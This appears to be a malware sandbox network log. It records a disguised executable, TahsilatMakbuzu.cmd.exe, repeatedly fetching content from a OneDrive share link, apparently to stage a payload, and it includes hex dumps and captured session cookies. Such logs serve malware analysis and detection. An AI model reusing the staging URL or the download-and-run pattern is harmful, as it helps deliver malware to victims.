2024-07-04 18:18:00 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.6	49841	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:01 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:01 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: BL4PPF7C2B1CEA5 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: r5u7nM6P7kCshLycbS6foQ.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 0F96CFB7F77B44F8AAC2B4BD15E0C1EA Ref B: EWR30EDGE0112 Ref C: 2024-07-04T18:18:01Z Date: Thu, 04 Jul 2024 18:18:00 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.6	49842	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:01 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
2024-07-04 18:18:02 UTC	2217	IN	HTTP/1.1 302 Found Cache-Control: no-cache, no-store Pragma: no-cache Content-Length: 311 Content-Type: text/html; charset=utf-8 Expires: -1 Location: /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd Set-Cookie: E=P:CqUYpFWc3Ig=:W50Jt1npRgYvqU7zpWZ25GPMj19R8bBzcml8gAvIlCY=:F; domain=.live.com; path=/ Set-Cookie: xid=186bcc99-1d7d-4e42-979f-4381ee743ac2&&ODSP-ODWEB-ODCF&228; domain=.live.com; path=/ Set-Cookie: xidseq=1; domain=.live.com; path=/ Set-Cookie: LD=; domain=.live.com; expires=Thu, 04-Jul-2024 16:38:01 GMT; path=/ Set-Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODgxLCJuYmYiOjE3MjAxMTcwODEsImdpdmVuX25hbWUiOiI3NCIsImZhbWlseV9uYW1lIjoiTW9sZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjViYWUxNzRjYTczMWRjYmVkNjJjNmVhMmE0YTg4ZjUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwODF9.QrDDs1Lb_4CXZz3uFwiz6W9-yTvzTSyIqcX8xzYVFIL9k-iBCz4wfrH_k85dCj18CfFGsSCc2SQfLw5BIYu3IQwEP2EVlytQJgCylLCBRl-2D6xng1RdKTsiz6CnHL4ZXy19k4aI8U6qbg1z8RNcKqPOLMAvT51cHRDrMBqU3jLPPNoZ9grkxAFWWUAsD7DGmcdMRm6U3cUXyd682D3k-PToaWQYun5TNMzdSvRPvvGQPTCKACPuPvKGwUr1OvkaaMAx4pI8IgYL8ZRZEcdEUgN8CUsyHuGFGxh-wkl681-Y-hZ98l_MqnPw_3nSPaoxSJ9m7dprhNU5L2E5ITfLKA; path=/; SameSite=None; secure Set-Cookie: wla42=; domain=live.com; expires=Thu, 11-Jul-2024 18:18:02 GMT; path=/ X-Frame-Options: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-Content-Type-Options: nosniff Strict-Transport-Security: max-age=31536000 X-MSNServer: 798f966fd6-g8dwt X-ODWebServer: nameastus2946819-odwebpl X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 983B56EB8D704E0497EC7E4B5EA7DEBD Ref B: BN3EDGE0512 Ref C: 2024-07-04T18:18:01Z Date: Thu, 04 Jul 2024 18:18:02 GMT Connection: close
2024-07-04 18:18:02 UTC	311	IN	Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 0d 0a 3c 68 32 3e 4f 62 6a 65 63 74 20 6d 6f 76 65 64 20 74 6f 20 3c 61 20 68 72 65 66 3d 22 2f 3f 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 73 69 64 3d 42 46 32 42 37 43 30 38 33 38 42 35 45 31 42 44 21 31 31 36 26 61 6d 70 3b 72 65 64 65 65 6d 3d 61 48 52 30 63 48 4d 36 4c 79 38 78 5a 48 4a 32 4c 6d 31 7a 4c 33 55 76 63 79 46 42 63 6a 4e 6f 64 46 52 6e 53 57 5a 44 64 56 39 6b 53 6e 46 48 58 33 4a 31 55 44 46 4f 4d 6d 6c 4d 5a 6d 4d 5f 5a 47 39 33 62 6d 78 76 59 57 51 39 4d 51 26 61 6d 70 3b 6d 69 67 72 61 74 65 64 74 6f 73 70 6f 3d 74 72 75 65 26 61 6d Data Ascii: <html><head><title>Object moved</title></head><body><h2>Object moved to <a href="/?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&am

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.6	49843	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:03 UTC	1277	OUT	GET /?id=BF2B7C0838B5E1BD!116&resid=BF2B7C0838B5E1BD!116&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ&migratedtospo=true&cid=bf2b7c0838b5e1bd HTTP/1.1 Host: onedrive.live.com Cookie: BadgerAuth=eyJhbGciOiJSUzI1NiIsImtpZCI6IjQ5MUJFODAyNDJGMEJDQkZCOTY4NTcxMTY0RjZGRTYwNDQ5NzQ5MTQiLCJ4NXQiOiJTUnZvQWtMd3ZMLTVhRmNSWlBiLVlFU1hTUlEiLCJ0eXAiOiJKV1QifQ.eyJhdWQiOiJodHRwczovL29uZWRyaXZlLmNvbS8iLCJpc3MiOiJodHRwczovL2JhZGdlci5zdmMubXMvdjEuMC9hdXRoIiwiZXhwIjoxNzIwNzIxODgxLCJuYmYiOjE3MjAxMTcwODEsImdpdmVuX25hbWUiOiI3NCIsImZhbWlseV9uYW1lIjoiTW9sZSIsImh0dHA6Ly9zY2hlbWFzLnhtbHNvYXAub3JnL3dzLzIwMDUvMDUvaWRlbnRpdHkvY2xhaW1zL3NpZCI6IjViYWUxNzRjYTczMWRjYmVkNjJjNmVhMmE0YTg4ZjUwIiwiYXBwaWQiOiI0Mzk3RjA1QS00MzIyLTQ4MDYtQjNDNS0zMUJGMTJCRTBBNjIiLCJpYXQiOjE3MjAxMTcwODF9.QrDDs1Lb_4CXZz3uFwiz6W9-yTvzTSyIqcX8xzYVFIL9k-iBCz4wfrH_k85dCj18CfFGsSCc2SQfLw5BIYu3IQwEP2EVlytQJgCylLCBRl-2D6xng1RdKTsiz6CnHL4ZXy19k4aI8U6qbg1z8RNcKqPOLMAvT51cHRDrMBqU3jLPPNoZ9grkxAFWWUAsD7DGmcdMRm6U3cUXyd682D3k-PToaWQYun5TNMzdSvRPvvGQPTCKACPuPvKGwUr1OvkaaMAx4pI8IgYL8ZRZEcdEUgN8CUsyHuGFGxh-wkl681-Y-hZ98l_MqnPw_3nSPaoxSJ9m7dprhNU5L2E5ITfLKA; E=P:CqUYpFWc3Ig=:W50Jt1npRgYvqU7zpWZ25GPMj19R8bBzcml8gAvIlCY=:F; xid=186bcc99-1d7d-4e42-979f-4381ee743ac2 [TRUNCATED]
2024-07-04 18:18:03 UTC	1923	IN	HTTP/1.1 200 OK Cache-Control: private Content-Length: 205869 Content-Type: text/html; charset=utf-8 P3P: CP="ALL IND DSP COR ADM CONo CUR CUSo IVAo IVDo PSA PSD TAI TELo OUR SAMo CNT COM INT NAV ONL PHY PRE PUR UNI" WWW-Authenticate: Wlid1.1 realm="WindowsLive", fault="BadContextToken", policy="MBI_SSL", ver="7.5.0.0", target="ssl.live.com", siteId="ssl.live.com" X-NetworkStatistics: 0,525568,0,0,7678,0,43035,45 X-SharePointHealthScore: 2 Content-Security-Policy: frame-ancestors 'self' sentry.contentvalidation.com sentry.ppe.contentvalidation.com sentry.int.contentvalidation.com X-AspNet-Version: 4.0.30319 X-DataBoundary: NONE X-1DSCollectorUrl: https://mobile.events.data.microsoft.com/OneCollector/1.0/ X-AriaCollectorURL: https://browser.pipe.aria.microsoft.com/Collector/3.0/ SPRequestGuid: 491239a1-905a-5000-d967-eee037550480 request-id: 491239a1-905a-5000-d967-eee037550480 MS-CV: oTkSSVqQAFDZZ+7gN1UEgA.0 Strict-Transport-Security: max-age=31536000 X-FRAME-OPTIONS: SAMEORIGIN Content-Security-Policy: frame-ancestors 'self' teams.microsoft.com .teams.microsoft.com .skype.com .teams.microsoft.us local.teams.office.com teams.cloud.microsoft .office365.com goals.cloud.microsoft .powerapps.com .powerbi.com .yammer.com engage.cloud.microsoft word.cloud.microsoft excel.cloud.microsoft powerpoint.cloud.microsoft .officeapps.live.com .office.com .microsoft365.com .stream.azure-test.net .microsoftstream.com .dynamics.com .microsoft.com onedrive.live.com *.onedrive.live.com securebroker.sharepointonline.com; SPRequestDuration: 25 SPIisLatency: 2 X-Powered-By: ASP.NET MicrosoftSharePointTeamServices: 16.0.0.25019 X-Content-Type-Options: nosniff X-MS-InvokeApp: 1; RequireReadOnly X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: AD58CFFE2C754069A479B3F522CDEB96 Ref B: BN3EDGE0419 Ref C: 2024-07-04T18:18:03Z Date: Thu, 04 Jul 2024 18:18:03 GMT Connection: close
2024-07-04 18:18:03 UTC	424	IN	Data Raw: 0d 0a 3c 21 44 4f 43 54 59 50 45 20 68 74 6d 6c 3e 0d 0a 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 2d 75 73 22 20 64 69 72 3d 22 6c 74 72 22 3e 0d 0a 20 20 3c 68 65 61 64 3e 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 43 6f 6e 74 65 6e 74 2d 74 79 70 65 22 20 63 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 74 66 2d 38 22 20 2f 3e 3c 6d 65 74 61 20 6e 61 6d 65 3d 22 76 69 65 77 70 6f 72 74 22 20 63 6f 6e 74 65 6e 74 3d 22 77 69 64 74 68 3d 64 65 76 69 63 65 2d 77 69 64 74 68 2c 20 69 6e 69 74 69 61 6c 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 61 78 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 6d 69 6e 69 6d 75 6d 2d 73 63 61 6c 65 3d 31 2e 30 2c 20 75 73 65 72 2d 73 63 61 6c 61 62 6c 65 3d 6e 6f 22 20 2f 3e Data Ascii: <!DOCTYPE html><html lang="en-us" dir="ltr"> <head><meta http-equiv="Content-type" content="text/html; charset=utf-8" /><meta name="viewport" content="width=device-width, initial-scale=1.0, maximum-scale=1.0, minimum-scale=1.0, user-scalable=no" />
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 3d 22 6d 61 6e 69 66 65 73 74 22 20 68 72 65 66 3d 22 2f 77 65 62 61 70 70 6d 61 6e 69 66 65 73 74 2e 6a 73 6f 6e 22 20 63 72 6f 73 73 6f 72 69 67 69 6e 3d 22 75 73 65 2d 63 72 65 64 65 6e 74 69 61 6c 73 22 20 2f 3e 3c 73 63 72 69 70 74 20 74 79 70 65 3d 22 74 65 78 74 2f 6a 61 76 61 73 63 72 69 70 74 22 20 6e 6f 6e 63 65 3d 22 31 64 31 32 34 35 65 30 2d 66 66 34 39 2d 34 30 30 65 2d 61 63 33 37 2d 33 66 38 34 30 33 37 31 65 34 61 66 22 3e 0d 0a 09 76 61 72 20 24 43 6f 6e 66 69 67 3d 7b 22 68 63 69 64 22 3a 22 22 2c 22 63 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 75 6e 69 64 22 3a 22 55 6e 41 75 74 68 22 2c 22 69 73 41 75 74 68 65 6e 74 69 63 61 74 65 64 22 3a 66 61 6c 73 65 2c 22 65 6d 61 69 6c 22 3a 22 55 6e 41 75 74 68 22 2c 22 6d 6b 74 22 3a 22 65 6e Data Ascii: ="manifest" href="/webappmanifest.json" crossorigin="use-credentials" /><script type="text/javascript" nonce="1d1245e0-ff49-400e-ac37-3f840371e4af">var $Config={"hcid":"","cid":"UnAuth","unid":"UnAuth","isAuthenticated":false,"email":"UnAuth","mkt":"en
2024-07-04 18:18:03 UTC	5963	IN	Data Raw: 42 46 2d 39 35 43 34 38 36 32 30 37 31 33 42 22 3a 74 72 75 65 2c 22 37 44 38 41 34 31 32 31 2d 41 38 41 33 2d 34 44 41 37 2d 41 41 37 32 2d 36 43 32 33 32 45 33 33 33 41 30 38 22 3a 74 72 75 65 2c 22 33 35 44 36 33 32 33 31 2d 34 32 41 36 2d 34 44 41 31 2d 39 33 42 45 2d 37 44 32 41 30 39 39 30 35 32 34 31 22 3a 74 72 75 65 2c 22 32 42 42 36 32 46 39 31 2d 39 45 39 45 2d 34 32 30 41 2d 42 44 42 31 2d 36 41 44 32 46 34 36 42 36 37 46 33 22 3a 74 72 75 65 2c 22 45 34 46 31 38 35 38 38 2d 31 38 45 44 2d 34 32 43 44 2d 38 46 43 41 2d 41 45 33 38 30 34 36 31 36 34 38 42 22 3a 74 72 75 65 2c 22 30 41 36 36 38 36 39 38 2d 41 30 34 43 2d 34 41 45 38 2d 42 38 43 33 2d 34 38 32 34 35 39 41 35 43 38 42 32 22 3a 74 72 75 65 2c 22 39 34 37 32 31 31 42 45 2d 30 35 35 Data Ascii: BF-95C48620713B":true,"7D8A4121-A8A3-4DA7-AA72-6C232E333A08":true,"35D63231-42A6-4DA1-93BE-7D2A09905241":true,"2BB62F91-9E9E-420A-BDB1-6AD2F46B67F3":true,"E4F18588-18ED-42CD-8FCA-AE380461648B":true,"0A668698-A04C-4AE8-B8C3-482459A5C8B2":true,"947211BE-055
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 33 30 38 45 46 30 31 30 2d 44 37 35 42 2d 34 44 36 41 2d 38 36 41 35 2d 33 46 44 37 44 34 45 46 33 34 45 32 22 3a 74 72 75 65 2c 22 42 39 30 44 41 35 46 39 2d 42 41 37 35 2d 34 42 43 43 2d 41 33 45 30 2d 39 46 39 41 42 45 30 36 46 46 35 39 22 3a 74 72 75 65 2c 22 37 33 39 33 39 43 35 46 2d 34 32 37 42 2d 34 43 30 32 2d 42 30 38 42 2d 35 30 45 37 37 38 41 42 44 46 34 42 22 3a 74 72 75 65 2c 22 33 36 45 33 33 36 38 38 2d 37 30 45 44 2d 34 39 34 41 2d 41 39 32 31 2d 37 30 35 46 33 30 38 43 31 30 41 36 22 3a 74 72 75 65 2c 22 30 35 34 36 46 30 36 35 2d 43 33 34 37 2d 34 41 44 30 2d 38 38 36 44 2d 38 44 38 34 36 39 37 33 44 43 36 38 22 3a 74 72 75 65 2c 22 32 36 36 46 33 42 42 36 2d 44 42 37 46 2d 34 32 37 30 2d 42 38 38 33 2d 44 32 35 43 42 44 32 36 37 38 33 Data Ascii: 308EF010-D75B-4D6A-86A5-3FD7D4EF34E2":true,"B90DA5F9-BA75-4BCC-A3E0-9F9ABE06FF59":true,"73939C5F-427B-4C02-B08B-50E778ABDF4B":true,"36E33688-70ED-494A-A921-705F308C10A6":true,"0546F065-C347-4AD0-886D-8D846973DC68":true,"266F3BB6-DB7F-4270-B883-D25CBD26783
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 2d 44 31 33 35 2d 34 46 31 45 2d 42 31 31 36 2d 36 39 33 33 34 36 42 30 37 42 35 42 22 3a 74 72 75 65 2c 22 34 38 36 30 42 36 30 44 2d 32 34 34 46 2d 34 46 34 42 2d 39 43 33 30 2d 30 36 30 45 32 37 44 38 42 35 31 41 22 3a 74 72 75 65 2c 22 31 34 46 45 35 43 36 45 2d 32 41 41 31 2d 34 33 43 39 2d 38 31 39 43 2d 41 39 39 35 37 32 37 32 33 35 39 43 22 3a 74 72 75 65 2c 22 41 30 39 32 31 45 34 30 2d 42 37 33 37 2d 34 43 42 46 2d 38 44 35 45 2d 46 36 31 43 41 45 30 32 46 44 30 32 22 3a 74 72 75 65 2c 22 31 33 32 37 30 30 30 33 2d 37 46 39 34 2d 34 41 35 46 2d 39 35 38 33 2d 32 31 41 37 38 43 41 46 41 31 42 42 22 3a 74 72 75 65 2c 22 44 37 42 45 38 36 39 38 2d 46 35 38 46 2d 34 43 35 33 2d 39 31 32 42 2d 34 39 39 44 34 42 33 33 46 36 45 30 22 3a 74 72 75 65 2c Data Ascii: -D135-4F1E-B116-693346B07B5B":true,"4860B60D-244F-4F4B-9C30-060E27D8B51A":true,"14FE5C6E-2AA1-43C9-819C-A9957272359C":true,"A0921E40-B737-4CBF-8D5E-F61CAE02FD02":true,"13270003-7F94-4A5F-9583-21A78CAFA1BB":true,"D7BE8698-F58F-4C53-912B-499D4B33F6E0":true,
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 31 33 2d 38 30 32 43 2d 31 31 30 31 37 45 33 31 46 44 41 33 22 3a 74 72 75 65 2c 22 36 38 34 35 31 35 41 45 2d 39 31 34 32 2d 34 30 45 35 2d 39 44 38 30 2d 35 36 33 43 37 34 46 35 30 45 35 38 22 3a 74 72 75 65 2c 22 43 37 43 34 39 34 41 38 2d 41 31 32 32 2d 34 36 38 41 2d 41 32 39 41 2d 33 42 39 41 31 39 33 43 33 33 30 41 22 3a 74 72 75 65 2c 22 33 30 41 44 30 33 42 43 2d 34 35 39 45 2d 34 45 32 30 2d 39 38 35 35 2d 34 42 38 33 39 42 33 35 44 35 43 39 22 3a 74 72 75 65 2c 22 34 41 30 36 35 43 42 45 2d 33 37 43 41 2d 34 38 46 36 2d 39 43 31 44 2d 38 35 36 42 37 38 45 34 43 42 43 36 22 3a 74 72 75 65 2c 22 38 31 34 36 31 38 36 34 2d 46 31 42 41 2d 34 36 30 43 2d 42 43 45 31 2d 44 31 44 37 43 33 39 37 35 43 30 44 22 3a 74 72 75 65 2c 22 41 45 46 34 34 33 41 Data Ascii: 13-802C-11017E31FDA3":true,"684515AE-9142-40E5-9D80-563C74F50E58":true,"C7C494A8-A122-468A-A29A-3B9A193C330A":true,"30AD03BC-459E-4E20-9855-4B839B35D5C9":true,"4A065CBE-37CA-48F6-9C1D-856B78E4CBC6":true,"81461864-F1BA-460C-BCE1-D1D7C3975C0D":true,"AEF443A
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 45 34 45 31 37 39 36 30 37 38 45 35 22 3a 74 72 75 65 2c 22 36 45 37 31 38 31 42 42 2d 36 37 38 38 2d 34 34 30 31 2d 38 35 36 31 2d 38 35 38 36 30 44 38 37 32 32 32 33 22 3a 74 72 75 65 2c 22 38 46 34 41 31 30 39 41 2d 38 37 34 38 2d 34 38 32 42 2d 39 33 31 44 2d 46 45 30 46 45 44 36 38 38 30 33 44 22 3a 74 72 75 65 2c 22 32 43 35 35 30 32 45 38 2d 39 42 46 30 2d 34 45 44 39 2d 41 44 37 36 2d 39 42 42 45 31 31 34 35 45 37 36 31 22 3a 74 72 75 65 2c 22 39 32 46 44 41 42 32 39 2d 34 42 43 46 2d 34 32 37 46 2d 39 34 36 43 2d 44 35 45 38 45 43 45 33 35 42 36 46 22 3a 74 72 75 65 2c 22 39 31 44 33 36 41 43 34 2d 33 46 42 34 2d 34 31 37 36 2d 39 39 36 44 2d 41 32 30 42 45 32 46 34 44 33 37 31 22 3a 74 72 75 65 2c 22 44 44 30 31 31 42 43 41 2d 34 41 37 45 2d 34 Data Ascii: E4E1796078E5":true,"6E7181BB-6788-4401-8561-85860D872223":true,"8F4A109A-8748-482B-931D-FE0FED68803D":true,"2C5502E8-9BF0-4ED9-AD76-9BBE1145E761":true,"92FDAB29-4BCF-427F-946C-D5E8ECE35B6F":true,"91D36AC4-3FB4-4176-996D-A20BE2F4D371":true,"DD011BCA-4A7E-4
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 35 35 42 36 22 3a 74 72 75 65 2c 22 33 34 46 36 45 37 33 32 2d 43 31 35 34 2d 34 37 38 38 2d 39 44 32 42 2d 32 42 41 44 46 42 45 30 46 43 44 34 22 3a 74 72 75 65 2c 22 45 44 41 32 35 45 45 41 2d 45 34 35 35 2d 34 36 43 38 2d 42 39 42 46 2d 45 32 34 44 34 37 43 39 44 44 41 46 22 3a 74 72 75 65 2c 22 30 44 35 33 35 34 38 38 2d 46 30 35 36 2d 34 38 32 30 2d 41 39 43 31 2d 39 33 37 36 41 46 36 39 39 32 46 43 22 3a 74 72 75 65 2c 22 38 36 44 44 38 46 34 44 2d 36 41 31 43 2d 34 43 44 31 2d 39 43 46 36 2d 37 46 41 39 41 41 33 35 45 41 44 45 22 3a 74 72 75 65 2c 22 43 37 45 33 44 30 33 39 2d 41 35 30 44 2d 34 31 36 35 2d 39 35 34 42 2d 30 46 46 32 35 31 39 31 46 42 36 41 22 3a 74 72 75 65 2c 22 30 32 46 44 44 42 31 44 2d 30 38 32 34 2d 34 34 34 32 2d 38 35 34 32 Data Ascii: 55B6":true,"34F6E732-C154-4788-9D2B-2BADFBE0FCD4":true,"EDA25EEA-E455-46C8-B9BF-E24D47C9DDAF":true,"0D535488-F056-4820-A9C1-9376AF6992FC":true,"86DD8F4D-6A1C-4CD1-9CF6-7FA9AA35EADE":true,"C7E3D039-A50D-4165-954B-0FF25191FB6A":true,"02FDDB1D-0824-4442-8542
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 75 65 2c 22 43 39 46 45 39 44 44 42 2d 31 36 30 38 2d 34 30 41 45 2d 38 46 30 35 2d 31 42 46 44 34 43 46 43 38 43 35 33 22 3a 74 72 75 65 2c 22 41 45 32 30 44 43 30 34 2d 37 31 31 41 2d 34 37 36 38 2d 42 30 30 41 2d 32 41 33 32 39 33 35 41 36 36 46 37 22 3a 74 72 75 65 2c 22 43 32 36 33 43 41 44 43 2d 31 41 32 31 2d 34 35 38 38 2d 38 35 36 31 2d 43 37 39 46 42 30 35 31 31 38 41 37 22 3a 74 72 75 65 2c 22 37 37 42 31 32 45 33 30 2d 35 31 39 32 2d 34 30 45 37 2d 41 36 45 41 2d 46 38 34 31 35 35 31 33 46 37 37 33 22 3a 74 72 75 65 2c 22 43 32 45 32 34 37 42 46 2d 45 34 38 35 2d 34 41 37 30 2d 39 34 37 46 2d 35 30 46 33 42 38 41 43 30 39 44 38 22 3a 74 72 75 65 2c 22 33 44 30 45 41 30 34 45 2d 36 31 41 41 2d 34 42 35 37 2d 41 35 44 32 2d 33 37 37 46 37 36 41 Data Ascii: ue,"C9FE9DDB-1608-40AE-8F05-1BFD4CFC8C53":true,"AE20DC04-711A-4768-B00A-2A32935A66F7":true,"C263CADC-1A21-4588-8561-C79FB05118A7":true,"77B12E30-5192-40E7-A6EA-F8415513F773":true,"C2E247BF-E485-4A70-947F-50F3B8AC09D8":true,"3D0EA04E-61AA-4B57-A5D2-377F76A
2024-07-04 18:18:03 UTC	8192	IN	Data Raw: 42 44 44 46 2d 33 39 31 32 2d 34 37 43 37 2d 38 35 38 32 2d 38 32 35 41 39 46 39 33 46 42 35 32 22 3a 74 72 75 65 2c 22 32 42 35 32 41 42 42 36 2d 46 37 32 45 2d 34 44 38 36 2d 39 44 36 37 2d 46 38 35 44 46 44 32 34 39 44 34 42 22 3a 74 72 75 65 2c 22 32 33 39 33 32 38 45 43 2d 32 30 39 38 2d 34 36 42 42 2d 39 43 35 43 2d 33 44 45 36 36 39 38 38 32 39 37 44 22 3a 74 72 75 65 2c 22 32 44 45 46 30 32 31 33 2d 35 30 35 45 2d 34 42 42 33 2d 38 34 34 31 2d 31 39 45 33 41 45 43 30 44 33 35 32 22 3a 74 72 75 65 2c 22 45 41 30 34 37 39 38 41 2d 42 35 30 31 2d 34 37 46 39 2d 41 35 31 41 2d 39 42 36 33 45 32 39 37 44 34 43 44 22 3a 74 72 75 65 2c 22 35 44 31 39 46 45 44 32 2d 32 42 46 36 2d 34 38 45 38 2d 39 43 41 44 2d 32 44 38 44 35 44 32 34 35 39 43 31 22 3a 74 Data Ascii: BDDF-3912-47C7-8582-825A9F93FB52":true,"2B52ABB6-F72E-4D86-9D67-F85DFD249D4B":true,"239328EC-2098-46BB-9C5C-3DE66988297D":true,"2DEF0213-505E-4BB3-8441-19E3AEC0D352":true,"EA04798A-B501-47F9-A51A-9B63E297D4CD":true,"5D19FED2-2BF6-48E8-9CAD-2D8D5D2459C1":t

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.6	49844	13.107.42.12	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:04 UTC	75	OUT	GET /u/s!Ar3htTgIfCu_dJqG_ruP1N2iLfc?download=1 HTTP/1.1 Host: 1drv.ms
2024-07-04 18:18:04 UTC	592	IN	HTTP/1.1 301 Moved Permanently Location: https://onedrive.live.com/redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ X-MSNSERVER: DS1PPF280C36842 Strict-Transport-Security: max-age=31536000; includeSubDomains MS-CV: ba8qSIXzvUWOowoeVEarRg.0 X-AsmVersion: UNKNOWN; 19.1445.617.2015 X-Cache: CONFIG_NOCACHE X-MSEdge-Ref: Ref A: 4CB82AD5CEC04C6781DD578AAD05FC9F Ref B: EWR30EDGE0708 Ref C: 2024-07-04T18:18:04Z Date: Thu, 04 Jul 2024 18:18:04 GMT Connection: close Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.6	49845	13.107.137.11	443	6640	C:\Users\user\Desktop\TahsilatMakbuzu.cmd.exe

Timestamp	Bytes transferred	Direction	Data
2024-07-04 18:18:05 UTC	191	OUT	GET /redir?resid=BF2B7C0838B5E1BD!116&download=1&migratedtospo=true&redeem=aHR0cHM6Ly8xZHJ2Lm1zL3UvcyFBcjNodFRnSWZDdV9kSnFHX3J1UDFOMmlMZmM_ZG93bmxvYWQ9MQ HTTP/1.1 Host: onedrive.live.com
